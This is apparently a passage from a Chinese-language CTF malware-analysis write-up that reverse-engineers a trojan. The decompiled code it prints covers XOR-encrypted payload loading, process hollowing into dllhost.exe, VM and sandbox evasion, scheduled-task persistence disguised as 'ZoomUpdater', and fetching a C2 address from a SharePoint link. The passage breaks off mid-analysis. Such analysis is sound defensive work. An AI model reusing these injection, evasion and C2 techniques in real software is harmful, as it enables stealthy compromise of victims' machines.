  nNumberOfBytesToRead_1 = 0;
53
  strcpy((char *)zRC.dat_, "tf7*TV&8un");
54
  if ( nNumberOfBytesToRead )
55
  {
56
    do
57
    {
58
      *((_BYTE *)lpBuffer + nNumberOfBytesToRead_1) ^= *((_BYTE *)zRC.dat_ + nNumberOfBytesToRead_1 % 9);
59
      ++nNumberOfBytesToRead_1;
60
    }
61
    while ( nNumberOfBytesToRead_1 < nNumberOfBytesToRead );
62
  }
63
  v5 = (char *)lpBuffer + lpBuffer[15];
64
  v15 = v5;
65
  GetThreadContext(ProcessInformation.hThread, &Context);
66
  ReadProcessMemory(ProcessInformation.hProcess, (LPCVOID)(Context.Ebx + 8), &Buffer, 4u, 0);
67
  hModule_1 = GetModuleHandleA("ntdll.dll");
68
  NtUnmapViewOfSection = GetProcAddress(hModule_1, "NtUnmapViewOfSection");
69
  v8 = (LPVOID *)(v5 + 52);
70
  if ( Buffer == *((_DWORD *)v5 + 13) )
71
  {
72
    ((void (__stdcall *)(HANDLE, int))NtUnmapViewOfSection)(ProcessInformation.hProcess, Buffer);
73
    v8 = (LPVOID *)(v5 + 52);
74
  }
75
  lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, *v8, *((_DWORD *)v5 + 20), 0x3000u, 0x40u);
76
  nSize = *((_DWORD *)v5 + 21);
77
  zRC.dat_[0] = lpBaseAddress;
78
  WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, nSize, 0);
79
  nNumberOfBytesToReada = 0;
80
  if ( *((_WORD *)v5 + 3) )
81
  {
82
    v10 = 0;
83
    do
84
    {
85
      WriteProcessMemory(
86
        ProcessInformation.hProcess,
87
        (LPVOID)(zRC.dat_[0] + *(_DWORD *)((char *)&lpBuffer[v10 + 65] + lpBuffer[15])),
88
        (char *)lpBuffer + *(_DWORD *)((char *)&lpBuffer[v10 + 67] + lpBuffer[15]),
89
        *(_DWORD *)((char *)&lpBuffer[v10 + 66] + lpBuffer[15]),
90
        0);
91
      v10 += 10;
92
      ++nNumberOfBytesToReada;
93
    }
94
    while ( nNumberOfBytesToReada < *((unsigned __int16 *)v15 + 3) );
95
    v5 = v15;
96
  }
97
  Context.Eax = zRC.dat_[0] + *((_DWORD *)v5 + 10);
98
  WriteProcessMemory(ProcessInformation.hProcess, (LPVOID)(Context.Ebx + 8), v5 + 52, 4u, 0);
99
  SetThreadContext(ProcessInformation.hThread, &Context);
100
  ResumeThread(ProcessInformation.hThread);
101
  CloseHandle(ProcessInformation.hThread);
102
  return CloseHandle(ProcessInformation.hProcess);
103
}

1
GetModuleFileNameA(hModule, Filename, 0x104u); // 获取当前 DLL 路径
2
// ... 字符串处理 ...
3
strcpy((char *)zRC.dat_, "zRC.dat"); // 明文字符串
4
sub_10001010(FileName, 260, "%s\\%s", v23, (const char *)zRC.dat_); // 拼接成 zRC.dat 的完整路径

首先，函数构造了 zRC.dat 的路径。

1
CreateProcessA(0, (LPSTR)"C:\\Windows\\System32\\dllhost.exe", ..., 4u, ...);

其次，函数启动了一个合法系统进程 dllhost.exe，但以参数 4u 即 CREATE_SUSPENDED，即，启动后，线程挂起。

1
hFile = CreateFileA(FileName, ...);
2
// ... 读取文件到 lpBuffer ...
3

4
strcpy((char *)zRC.dat_, "tf7*TV&8un"); // 密钥
5
if ( nNumberOfBytesToRead )
6
{
7
    do
8
    {
9
        // 异或运算 (XOR)
10
        *((_BYTE *)lpBuffer + nNumberOfBytesToRead_1) ^= *((_BYTE *)zRC.dat_ + nNumberOfBytesToRead_1 % 9);
11
        ++nNumberOfBytesToRead_1;
12
    }
13
    while ( ... );
14
}

随后，函数读取并解密 Payload。这里，函数使用了循环异或运算，以字符串 tf7*TV&8un 的前 9 个字符（考虑到 % 9）作为密钥。

1
NtUnmapViewOfSection(...); // 挖空原进程内存
2
VirtualAllocEx(...);       // 在原进程申请新内存
3
WriteProcessMemory(...);   // 把解密后的 Payload 写入傀儡进程
4
SetThreadContext(...);     // 修改线程上下文 (EIP/RIP) 指向 Payload 入口
5
ResumeThread(...);         // 恢复线程，傀儡复活

最后，函数卸载目标进程的原始映像，分配新内存，修复重定位和入口点，并最终恢复 dllhost.exe 的执行。这样，恶意代码在 dllhost.exe 内部执行，但其外观上是合法的 Windows 进程，恶意代码以此做到隐蔽。

解密 `zRC.dat`#

基于上文的分析，我们使用同样的异或算法解密 zRC.dat 即可。这里给出一份可用的 Python 代码。解密后可得，解密得到的 zRC_decrypted.bin 确为 PE 文件。

1
def decrypt_payload():
2
    try:
3
        with open("zRC.dat", "rb") as f:
4
            data = bytearray(f.read())
5
    except FileNotFoundError:
6
        print("错误：找不到 zRC.dat 文件，请确认文件路径。")
7
        return
8

9
    # 密钥字符串
10
    key_str = "tf7*TV&8un"
11
    # 根据 IDA 代码：nNumberOfBytesToRead_1 % 9
12
    # 意味着循环使用密钥的前 9 个字节
13
    key_len = 9
14

15
    print(f"[*] 开始解密，文件大小: {len(data)} 字节")
16
    print(f"[*] 使用密钥: {key_str[:key_len]}")
17

18
    for i in range(len(data)):
19
        # 异或操作
20
        data[i] ^= ord(key_str[i % key_len])
21

22
    # 保存解密后的文件
23
    output_filename = "zRC_decrypted.bin" # 既然注入到 dllhost.exe，大概率是个 EXE
24
    with open(output_filename, "wb") as f:
25
        f.write(data)
26

27
    print(f"[+] 解密完成！已保存为: {output_filename}")
28

29
    # 简单检查一下文件头
30
    if data[:2] == b'MZ':
31
        print("[+] 文件头检测: MZ (这是一个 PE 文件)")
32
    else:
33
        print(f"[-] 文件头检测: {data[:2]} (可能不是 PE 文件，或者是 Shellcode)")
34

35
if __name__ == "__main__":
36
    decrypt_payload()

Stage III「升」#

脱壳 `zRC_decrypted.bin`#

使用 Detect It Easy 打开 zRC_decrypted.bin，发现其使用了 UPX 加壳。

该壳未经过修改，因此直接使用 UPX 脱壳即可。

1
PS S:\ISCTF_2025\Virus_Analysis\ISCTF> D:\upx-5.0.2-win64\upx.exe -d .\zRC_decrypted.bin
2
                       Ultimate Packer for eXecutables
3
                          Copyright (C) 1996 - 2025
4
UPX 5.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 20th 2025
5

6
        File size         Ratio      Format      Name
7
   --------------------   ------   -----------   -----------
8
    173056 <-     80384   46.45%    win32/pe     zRC_decrypted.bin
9

10
Unpacked 1 file.

寻找主函数和网络相关函数#

从 start 函数开始，尝试查找主函数。

1
int start()
2
{
3
  sub_406FB2();
4
  return sub_4067E7();
5
}

其中 sub_406FB2 仍然为 Stack Canary 代码。继续分析 sub_4067E7。

1
int __usercall sub_4067E7@<eax>(UINT uExitCode_1@<esi>)
2
{
3
  char v1; // bl
4
  _DWORD *v3; // eax
5
  _DWORD *v4; // esi
6
  _DWORD *v5; // eax
7
  _DWORD *v6; // esi
8
  int v7; // edi
9
  int v8; // esi
10
  _DWORD *v9; // eax
11
  char v10; // [esp+10h] [ebp-24h]
12
  UINT uExitCode; // [esp+14h] [ebp-20h]
13

14
  if ( !(unsigned __int8)sub_406509(1) || (v1 = 0, v10 = sub_4064D7(), n2 == 1) )
15
  {
16
    sub_406D55(7);
17
    goto LABEL_19;
18
  }
19
  if ( n2 )
20
  {
21
    v1 = 1;
22
  }
23
  else
24
  {
25
    n2 = 1;
26
    if ( sub_40DDE1(&unk_41C1E0, &unk_41C200) )
27
      return 255;
28
    sub_40DDB6(&unk_41C1BC, &unk_41C1DC);
29
    n2 = 2;
30
  }
31
  sub_406660(v10);
32
  v3 = (_DWORD *)sub_407062();
33
  v4 = v3;
34
  if ( *v3 && (unsigned __int8)sub_4065C9(v3) )
35
    ((void (__thiscall *)(_DWORD, _DWORD, int, _DWORD))*v4)(*v4, 0, 2, 0);
36
  v5 = (_DWORD *)sub_407068();
37
  v6 = v5;
38
  if ( *v5 && (unsigned __int8)sub_4065C9(v5) )
39
    sub_40D266(*v6);
40
  v7 = sub_40D854();
41
  v8 = *(_DWORD *)sub_40DE6B();
42
  v9 = (_DWORD *)sub_40DE65();
43
  uExitCode_1 = sub_402B60(*v9, v8, v7);
44
  if ( !(unsigned __int8)sub_406E6F() )
45
  {
46
LABEL_19:
47
    sub_40D28C(uExitCode_1);
48
    sub_40D250(uExitCode);
49
    __debugbreak();
50
  }
51
  if ( !v1 )
52
    sub_40D241();
53
  sub_40667D(1, 0);
54
  return uExitCode_1;
55
}

注意到最终返回的 uExitCode_1 由

1
uExitCode_1 = sub_402B60(*v9, v8, v7);

产生，我们断言 sub_402B60 为主函数，它在最后调用了 sub_402450 进行进一步操作。下面进行分析。

1
int sub_402B60()
2
{
3
  int v6; // eax
4
  ULONGLONG TickCount64; // kr00_8
5
  ULONGLONG v8; // rax
6
  bool v9; // cf
7
  ULONGLONG n0x1388; // rax
8
  SHELLEXECUTEINFOW SystemInfo; // [esp+24h] [ebp-6CCh] BYREF
9
  SHELLEXECUTEINFOW pExecInfo; // [esp+60h] [ebp-690h] BYREF
10
  HKEY phkResult; // [esp+9Ch] [ebp-654h] BYREF
11
  _MEMORYSTATUSEX Buffer; // [esp+A0h] [ebp-650h] BYREF
12
  DWORD cbData[3]; // [esp+E8h] [ebp-608h] BYREF
13
  char v18; // [esp+F4h] [ebp-5FCh]
14
  WCHAR Data[260]; // [esp+F8h] [ebp-5F8h] BYREF
15
  _OWORD v20[4]; // [esp+300h] [ebp-3F0h] BYREF
16
  __int16 v21; // [esp+340h] [ebp-3B0h]
17
  _BYTE v22[938]; // [esp+342h] [ebp-3AEh] BYREF
18

19
  _EAX = 0;
20
  __asm { cpuid }
21
  cbData[0] = _EBX;
22
  cbData[1] = _EDX;
23
  cbData[2] = _ECX;
24
  v18 = 0;
25
  if ( sub_407730(cbData, "VMware")
26
    || sub_407730(cbData, "VBox")
27
    || sub_407730(cbData, "KVM")
28
    || sub_407730(cbData, "Microsoft Hv")
29
    || sub_407730(cbData, "Xen") )
30
  {
31
    return 0;
32
  }
33
  cbData[0] = 256;
34
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", 0, 0x20019u, &phkResult) )
35
  {
36
    if ( !RegQueryValueExA(phkResult, "SystemProductName", 0, 0, (LPBYTE)Data, cbData)
37
      && (sub_407730(Data, "Virtual")
38
       || sub_407730(Data, "VMware")
39
       || sub_407730(Data, "VBox")
40
       || sub_407730(Data, "Hyper-V")
41
       || sub_407730(Data, "Cloud")) )
42
    {
43
      v6 = 0;
44
      goto LABEL_19;
45
    }
46
    RegCloseKey(phkResult);
47
  }
48
  v6 = 1;
49
LABEL_19:
50
  if ( v6 )
51
  {
52
    Buffer.dwLength = 64;
53
    GlobalMemoryStatusEx(&Buffer);
54
    if ( HIDWORD(Buffer.ullTotalPhys) >= 2 )
55
    {
56
      GetSystemInfo((LPSYSTEM_INFO)&SystemInfo);
57
      if ( SystemInfo.lpParameters >= (LPCWSTR)4 )
58
      {
59
        TickCount64 = GetTickCount64();
60
        cbData[0] = HIDWORD(TickCount64);
61
        Sleep(0x1388u);
62
        v8 = GetTickCount64();
63
        v9 = v8 < __PAIR64__(cbData[0], TickCount64);
64
        n0x1388 = v8 - __PAIR64__(cbData[0], TickCount64);
65
        if ( HIDWORD(n0x1388) || !v9 && (unsigned int)n0x1388 >= 0x1388 )
66
        {
67
          SystemInfo.cbSize = 60;
68
          SystemInfo.fMask = 64;
69
          SystemInfo.hwnd = 0;
70
          SystemInfo.lpVerb = L"open";
71
          SystemInfo.lpFile = L"schtasks";
72
          SystemInfo.lpParameters = L"/query /tn ZoomUpdater";
73
          memset(&SystemInfo.lpDirectory, 0, 36);
74
          phkResult = 0;
75
          if ( ShellExecuteExW(&SystemInfo) && SystemInfo.hProcess )
76
          {
77
            WaitForSingleObject(SystemInfo.hProcess, 0xFFFFFFFF);
78
            GetExitCodeProcess(SystemInfo.hProcess, (LPDWORD)&phkResult);
79
            CloseHandle(SystemInfo.hProcess);
80
          }
81
          if ( phkResult )
82
          {
83
            SHGetFolderPathW(0, 42, 0, 0, Data);
84
            sub_40AEF0(Data, 260, L"\\ZoomRemoteControl\\bin\\ZoomRemoteControl.exe");
85
            v21 = 0;
86
            v20[0] = xmmword_4258D8;
87
            v20[1] = xmmword_4258E8;
88
            v20[2] = xmmword_4258F8;
89
            v20[3] = xmmword_425908;
90
            sub_407F20(v22, 0, 934);
91
            LODWORD(Buffer.ullAvailExtendedVirtual) = 77;
92
            *(_OWORD *)&Buffer.dwLength = xmmword_42591C;
93
            *(_OWORD *)&Buffer.ullAvailPhys = xmmword_42592C;
94
            *(_OWORD *)&Buffer.ullAvailPageFile = xmmword_42593C;
95
            Buffer.ullAvailVirtual = 0x45005400530059LL;
96
            sub_40AEF0(v20, 500, Data);
97
            sub_40AEF0(v20, 500, &Buffer);
98
            pExecInfo.cbSize = 60;
99
            pExecInfo.lpParameters = (LPCWSTR)v20;
100
            pExecInfo.fMask = 64;
101
            pExecInfo.hwnd = 0;
102
            pExecInfo.lpVerb = L"open";
103
            pExecInfo.lpFile = L"schtasks";
104
            memset(&pExecInfo.lpDirectory, 0, 36);
105
            ShellExecuteExW(&pExecInfo);
106
          }
107
          sub_402450();
108
        }
109
      }
110
    }
111
  }
112
  return 0;
113
}

1
int __usercall sub_402450@<eax>(int a1@<ebp>)
2
{
3
  void *hRequest; // edi
4
  BOOL v2; // eax
5
  char *lpBuffer; // esi
6
  unsigned int v4; // edi
7
  __int128 *v5; // esi
8
  char *v6; // esi
9
  int v7; // eax
10
  unsigned int i; // ecx
11
  _DWORD *v9; // eax
12
  _BYTE *v10; // edx
13
  unsigned int v11; // ecx
14
  _BYTE *v12; // edx
15
  void *v13; // edx
16
  unsigned int n0xF_5; // ecx
17
  void *v15; // edx
18
  int v16; // esi
19
  _DWORD *hSession_1; // esi
20
  _DWORD *v18; // edi
21
  int s; // esi
22
  const CHAR *pszAddrString; // eax
23
  void *v21; // edx
24
  unsigned int v22; // ecx
25
  _BYTE *v23; // edx
26
  void *v24; // edx
27
  const char *buf; // eax
28
  void *buf_2; // edx
29
  _BYTE *v28; // [esp+0h] [ebp-2ACh]
30
  unsigned int n0xF_2; // [esp+14h] [ebp-298h]
31
  _BYTE *v30; // [esp+18h] [ebp-294h]
32
  unsigned int n0xF_1; // [esp+2Ch] [ebp-280h]
33
  __int128 v32; // [esp+30h] [ebp-27Ch] BYREF
34
  int v33; // [esp+40h] [ebp-26Ch]
35
  unsigned int n0xF_4; // [esp+44h] [ebp-268h]
36
  __int128 v35; // [esp+48h] [ebp-264h] BYREF
37
  int v36; // [esp+58h] [ebp-254h]
38
  unsigned int n0xF_3; // [esp+5Ch] [ebp-250h]
39
  int v38; // [esp+60h] [ebp-24Ch]
40
  void *hRequest_1; // [esp+64h] [ebp-248h]
41
  char *lpBuffer_1; // [esp+68h] [ebp-244h]
42
  HINTERNET hConnect; // [esp+6Ch] [ebp-240h]
43
  _DWORD *hSession; // [esp+70h] [ebp-23Ch] BYREF
44
  DWORD lpdwNumberOfBytesAvailable_; // [esp+74h] [ebp-238h] BYREF
45
  struct WSAData lpWSAData_; // [esp+78h] [ebp-234h] BYREF
46
  struct sockaddr name_; // [esp+20Ch] [ebp-A0h] BYREF
47
  _DWORD v46[5]; // [esp+21Ch] [ebp-90h] BYREF
48
  unsigned int n0xF_6; // [esp+230h] [ebp-7Ch]
49
  _DWORD *v48; // [esp+234h] [ebp-78h] BYREF
50
  unsigned int v49; // [esp+244h] [ebp-68h]
51
  unsigned int n0xF; // [esp+248h] [ebp-64h]
52
  DWORD lpdwNumberOfBytesRead_; // [esp+24Ch] [ebp-60h] BYREF
53
  __int128 v52; // [esp+250h] [ebp-5Ch] BYREF
54
  int v53; // [esp+260h] [ebp-4Ch]
55
  unsigned int n15; // [esp+264h] [ebp-48h]
56
  __int128 buf_1; // [esp+268h] [ebp-44h] BYREF
57
  int len; // [esp+278h] [ebp-34h]
58
  unsigned int n0xF_7; // [esp+27Ch] [ebp-30h]
59
  __int64 v58; // [esp+280h] [ebp-2Ch] BYREF
60
  int v59; // [esp+288h] [ebp-24h]
61
  int *v60; // [esp+290h] [ebp-1Ch]
62
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp+294h] [ebp-18h]
63
  void *v62; // [esp+298h] [ebp-14h]
64
  int v63; // [esp+29Ch] [ebp-10h]
65
  int v64; // [esp+2A0h] [ebp-Ch]
66
  void *v65; // [esp+2A4h] [ebp-8h]
67
  int v66; // [esp+2A8h] [ebp-4h] BYREF
68
  void *retaddr; // [esp+2ACh] [ebp+0h]
69

70
  v64 = a1;
71
  v65 = retaddr;
72
  v63 = -1;
73
  v62 = &loc_41B9C4;
74
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
75
  v60 = &v66;
76
  hSession = WinHttpOpen(
77
               L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/"
78
                "537.36 Edg/142.0.0.0",
79
               0,
80
               0,
81
               0,
82
               0);
83
  hConnect = WinHttpConnect(hSession, L"colonised-my.sharepoint.com", 0x1BBu, 0);
84
  hRequest = WinHttpOpenRequest(
85
               hConnect,
86
               L"GET",
87
               L"/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk"
88
                "4L-x0r8yGztFlye2j9Q",
89
               0,
90
               0,
91
               0,
92
               0x800000u);
93
  hRequest_1 = hRequest;
94
  v2 = WinHttpSendRequest(hRequest, 0, 0, 0, 0, 0, 0);
95
  if ( v2 )
96
    v2 = WinHttpReceiveResponse(hRequest, 0);
97
  v53 = 0;
98
  v52 = 0;
99
  n15 = 15;
100
  LOBYTE(v52) = 0;
101
  v63 = 0;
102
  if ( v2 )
103
  {
104
    lpdwNumberOfBytesAvailable_ = 0;
105
    do
106
    {
107
      WinHttpQueryDataAvailable(hRequest, &lpdwNumberOfBytesAvailable_);
108
      if ( !lpdwNumberOfBytesAvailable_ )
109
        break;
110
      lpBuffer = (char *)sub_4066F6(lpdwNumberOfBytesAvailable_ + 1);
111
      lpBuffer_1 = lpBuffer;
112
      sub_407F20(lpBuffer, 0, lpdwNumberOfBytesAvailable_ + 1);
113
      lpdwNumberOfBytesRead_ = 0;
114
      if ( WinHttpReadData(hRequest, lpBuffer, lpdwNumberOfBytesAvailable_, &lpdwNumberOfBytesRead_) )
115
      {
116
        v4 = strlen(lpBuffer);
117
        if ( v4 > n15 - v53 )
118
        {
119
          LOBYTE(v38) = 0;
120
          sub_404BF0(v4, v38, lpBuffer, v4);
121
        }
122
        else
123
        {
124
          v5 = &v52;
125
          if ( n15 > 0xF )
126
            v5 = (__int128 *)v52;
127
          v6 = (char *)v5 + v53;
128
          v53 += v4;
129
          sub_4079A0(v6, lpBuffer_1, v4);
130
          v6[v4] = 0;
131
          lpBuffer = lpBuffer_1;
132
        }
133
        hRequest = hRequest_1;
134
      }
135
      sub_406260(lpBuffer);
136
    }
137
    while ( lpdwNumberOfBytesAvailable_ );
138
  }
139
  WinHttpCloseHandle(hRequest);
140
  WinHttpCloseHandle(hConnect);
141
  WinHttpCloseHandle(hSession);
142
  v33 = 0;
143
  n0xF_4 = 0;
144
  v32 = 0;
145
  sub_4046D0("lD1bZ0", 6);
146
  LOBYTE(v63) = 1;
147
  v36 = 0;
148
  v35 = 0;
149
  n0xF_3 = 0;
150
  sub_4046D0("E9dE7d", 6);
151
  LOBYTE(v63) = 2;
152
  sub_402080(&v35, &v32);
153
  LOBYTE(v63) = 3;
154
  v7 = sub_401D80();
155
  LOBYTE(v63) = 4;
156
  sub_403280(v7);
157
  for ( i = 0; i < v49; ++i )
158
  {
159
    v9 = &v48;
160
    if ( n0xF > 0xF )
161
      v9 = v48;
162
    *((_BYTE *)v9 + i) ^= 1u;
163
  }
164
  LOBYTE(v63) = 6;
165
  if ( n0xF_1 > 0xF )
166
  {
167
    v10 = v30;
168
    if ( n0xF_1 + 1 >= 0x1000 )
169
    {
170
      v10 = (_BYTE *)*((_DWORD *)v30 - 1);
171
      v11 = n0xF_1 + 36;
172
      if ( (unsigned int)(v30 - v10 - 4) > 0x1F )
173
        goto LABEL_71;
174
    }
175
    sub_4066E8(v10);
176
  }
177
  LOBYTE(v63) = 7;
178
  if ( n0xF_2 > 0xF )
179
  {
180
    v12 = v28;
181
    if ( n0xF_2 + 1 >= 0x1000 )
182
    {
183
      v12 = (_BYTE *)*((_DWORD *)v28 - 1);
184
      v11 = n0xF_2 + 36;
185
      if ( (unsigned int)(v28 - v12 - 4) > 0x1F )
186
        goto LABEL_71;
187
    }
188
    sub_4066E8(v12);
189
  }
190
  LOBYTE(v63) = 8;
191
  if ( n0xF_3 > 0xF )
192
  {
193
    v13 = (void *)v35;
194
    if ( n0xF_3 + 1 >= 0x1000 )
195
    {
196
      v13 = *(void **)(v35 - 4);
197
      v11 = n0xF_3 + 36;
198
      if ( (unsigned int)(v35 - (_DWORD)v13 - 4) > 0x1F )
199
        goto LABEL_71;
200
    }
201
    sub_4066E8(v13);
202
  }
203
  v36 = 0;
204
  n0xF_3 = 15;
205
  LOBYTE(v35) = 0;
206
  LOBYTE(v63) = 9;
207
  n0xF_5 = n0xF_4;
208
  if ( n0xF_4 <= 0xF )
209
    goto LABEL_34;
210
  v15 = (void *)v32;
211
  if ( n0xF_4 + 1 >= 0x1000 )
212
  {
213
    v15 = *(void **)(v32 - 4);
214
    v11 = n0xF_4 + 36;
215
    if ( (unsigned int)(v32 - (_DWORD)v15 - 4) > 0x1F )
216
    {
217
LABEL_71:
218
      sub_40AEAF(v11, 0, 0, 0, 0, 0);
219
      goto LABEL_72;
220
    }
221
  }
222
  sub_4066E8(v15);
223
LABEL_34:
224
  v33 = 0;
225
  n0xF_4 = 15;
226
  LOBYTE(v32) = 0;
227
  v58 = 0;
228
  v59 = 0;
229
  sub_4021D0(n0xF_5);
230
  LOBYTE(v63) = 10;
231
  if ( (unsigned int)(HIDWORD(v58) - v58 - 48) >= 0x18 )
232
  {
233
    v16 = 1;
234
    goto LABEL_54;
235
  }
236
  sub_403280(v58);
237
  LOBYTE(v63) = 11;
238
  hSession_1 = (_DWORD *)(v58 + 24);
239
  v18 = (_DWORD *)sub_40B29E();
240
  if ( hSession_1[5] > 0xFu )
241
    hSession_1 = (_DWORD *)*hSession_1;
242
  *v18 = 0;
243
  hConnect = (HINTERNET)sub_40BC9D(hSession_1, &hSession, 10);
244
  if ( hSession_1 == hSession )
245
LABEL_72:
246
    sub_40581D("invalid stoi argument");
247
  if ( *v18 == 34 )
248
    sub_40585D("stoi argument out of range");
249
  if ( WSAStartup(0x202u, &lpWSAData_) >= 0 )
250
  {
251
    s = socket(2, 1, 0);
252
    if ( s >= 0 )
253
    {
254
      name_ = 0;
255
      name_.sa_family = 2;
256
      *(_WORD *)name_.sa_data = htons((u_short)hConnect);
257
      pszAddrString = (const CHAR *)v46;
258
      if ( n0xF_6 > 0xF )
259
        pszAddrString = (const CHAR *)v46[0];
260
      if ( inet_pton(2, pszAddrString, &name_.sa_data[2]) > 0 )
261
      {
262
        if ( connect(s, &name_, 16) >= 0 )
263
        {
264
          len = 0;
265
          n0xF_7 = 0;
266
          buf_1 = 0;
267
          sub_4046D0("get_cmd", 7);
268
          buf = (const char *)&buf_1;
269
          if ( n0xF_7 > 0xF )
270
            buf = (const char *)buf_1;
271
          send(s, buf, len, 0);
272
          closesocket(s);
273
          WSACleanup();
274
          v16 = 0;
275
          if ( n0xF_7 > 0xF )
276
          {
277
            buf_2 = (void *)buf_1;
278
            if ( n0xF_7 + 1 >= 0x1000 )
279
            {
280
              buf_2 = *(void **)(buf_1 - 4);
281
              v22 = n0xF_7 + 36;
282
              if ( (unsigned int)(buf_1 - (_DWORD)buf_2 - 4) > 0x1F )
283
                goto LABEL_74;
284
            }
285
            sub_4066E8(buf_2);
286
          }
287
          len = 0;
288
          n0xF_7 = 15;
289
          LOBYTE(buf_1) = 0;
290
          goto LABEL_49;
291
        }
292
        closesocket(s);
293
      }
294
      WSACleanup();
295
    }
296
  }
297
  v16 = 1;
298
LABEL_49:
299
  if ( n0xF_6 > 0xF )
300
  {
301
    v21 = (void *)v46[0];
302
    if ( n0xF_6 + 1 >= 0x1000 )
303
    {
304
      v21 = *(void **)(v46[0] - 4);
305
      v22 = n0xF_6 + 36;
306
      if ( (unsigned int)(v46[0] - (_DWORD)v21 - 4) > 0x1F )
307
        goto LABEL_74;
308
    }
309
    sub_4066E8(v21);
310
  }
311
  v46[4] = 0;
312
  n0xF_6 = 15;
313
  LOBYTE(v46[0]) = 0;
314
LABEL_54:
315
  sub_403180(&v58);
316
  if ( n0xF > 0xF )
317
  {
318
    v23 = v48;
319
    if ( n0xF + 1 >= 0x1000 )
320
    {
321
      v23 = (_BYTE *)*(v48 - 1);
322
      v22 = n0xF + 36;
323
      if ( (unsigned int)((char *)v48 - v23 - 4) > 0x1F )
324
        goto LABEL_74;
325
    }
326
    sub_4066E8(v23);
327
  }
328
  v49 = 0;
329
  n0xF = 15;
330
  LOBYTE(v48) = 0;
331
  if ( n15 > 0xF )
332
  {
333
    v24 = (void *)v52;
334
    if ( n15 + 1 < 0x1000 || (v24 = *(void **)(v52 - 4), v22 = n15 + 36, (unsigned int)(v52 - (_DWORD)v24 - 4) <= 0x1F) )
335
    {
336
      sub_4066E8(v24);
337
      return v16;
338
    }
339
LABEL_74:
340
    sub_40AEAF(v22, 0, 0, 0, 0, 0);
341
    JUMPOUT(0x402B4C);
342
  }
343
  return v16;
344
}

Action 1「窥伺」#

sub_402B60 是典型的沙箱/虚拟机检测和持久化安装的函数。首先，它进行了虚拟机/沙箱检测，其中包括：CPUID 虚拟机检测和注册表虚拟化检测。

1
__asm { cpuid }  // 执行 CPUID 指令
2
// 检查 CPU 制造商字符串是否包含虚拟化关键词
3
if (contains(cpuid_string, "VMware") ||
4
    contains(cpuid_string, "VBox") ||
5
    contains(cpuid_string, "KVM") ||
6
    contains(cpuid_string, "Microsoft Hv") ||
7
    contains(cpuid_string, "Xen")) {
8
    return 0;  // 检测到虚拟机，立即退出
9
}

1
// 查询BIOS产品名称
2
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", ...)
3
RegQueryValueExA(..., "SystemProductName", ...)
4
if (contains(product_name, "Virtual") ||
5
    contains(product_name, "VMware") ||
6
    contains(product_name, "VBox") ||
7
    contains(product_name, "Hyper-V") ||
8
    contains(product_name, "Cloud")) {
9
    return 0;  // 检测到虚拟机，退出
10
}

其次，它进行了系统资源检查，包括：内存检查、CPU 核心数检查和时间延迟检查。

1
GlobalMemoryStatusEx(&Buffer);
2
if (HIDWORD(Buffer.ullTotalPhys) >= 2) {
3
    // 要求至少 2GB 内存（沙箱通常配置较低）
4
    // Buffer.ullTotalPhys 是 64 位值，HIDWORD 获取高 32 位
5
}

1
GetSystemInfo(&SystemInfo);
2
if (SystemInfo.lpParameters >= (LPCWSTR)4) {
3
    // 要求至少 4 个 CPU 核心
4
}

1
TickCount64 = GetTickCount64();
2
Sleep(5000);  // 睡眠 5 秒（0x1388 毫秒）
3
v8 = GetTickCount64();
4
// 检查实际经过的时间是否 ≥ 5 秒
5
// 如果沙箱加速了时间，实际时间会小于 5 秒

最终，它检测自身是否已感染计算机：

1
ShellExecuteExW(&SystemInfo);
2
SystemInfo.lpFile = L"schtasks";
3
SystemInfo.lpParameters = L"/query /tn ZoomUpdater";
4
// 检查名为 "ZoomUpdater" 的计划任务是否存在

若无，则进行持久化机制：构造恶意软件路径后，构建计划任务的 XML 命令，并创建计划任务。

1
SHGetFolderPathW(0, 42, 0, 0, Data);  // 42 = CSIDL_COMMON_APPDATA
2
sub_40AEF0(Data, 260, L"\\ZoomRemoteControl\\bin\\ZoomRemoteControl.exe");

1
// 使用预定义的 xmmword 变量构建 XML 字符串
2
v20[0] = xmmword_4258D8;  // 第一部分 XML
3
v20[1] = xmmword_4258E8;  // 第二部分 XML
4
// ...
5
sub_40AEF0(v20, 500, Data);   // 插入路径到 XML
6
sub_40AEF0(v20, 500, &Buffer); // 插入其他参数

1
pExecInfo.lpFile = L"schtasks";
2
pExecInfo.lpParameters = (LPCWSTR)v20;  // XML参数
3
ShellExecuteExW(&pExecInfo);  // 执行计划任务创建

Action 2「初探」#

进入到 sub_402450 后，该函数展示了木马的 C2 通信逻辑。

1
hSession = WinHttpOpen(L"Mozilla/5.0 ...", ...); // 伪装成 Edge 浏览器
2
hConnect = WinHttpConnect(hSession, L"colonised-my.sharepoint.com", 0x1BBu, 0); // 0x1BB = 443 (HTTPS)
3
hRequest = WinHttpOpenRequest(
4
   hConnect,
5
   L"GET",
6
   L"/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk4L-x0r8yGztFlye2j9Q",
7
   ...);

首先，程序先去访问了一个 SharePoint 共享链接以获得真正的 C2 地址。将地址藏在合法的公共服务上，是为了规避防火墙。

1
// 读取 SharePoint 返回的数据
2
WinHttpReadData(hRequest, lpBuffer, ...);
3
// ...
4
// 字符串 "lD1bZ0" 和 "E9dE7d" 用于切分字符串
5
sub_4046D0("lD1bZ0", 6);
6
sub_4046D0("E9dE7d", 6);
7
// ...
8
for ( i = 0; i < v49; ++i ) {
9
    *((_BYTE *)v9 + i) ^= 1u; // <--- 简单的 XOR 1 解密
10
}

随后，程序下载了该文件，提取出两个字符串中间的数据，并对数据进行 XOR 1，得到了真正的 C2 地址。

Action 3「回归」#

1
hSession_1 = (_DWORD *)(v58 + 24); // 应该是解密出来的 Port 字符串
2
// ... string to int ...
3
hConnect = (HINTERNET)sub_40BC9D(hSession_1, &hSession, 10); // 转换成端口整数
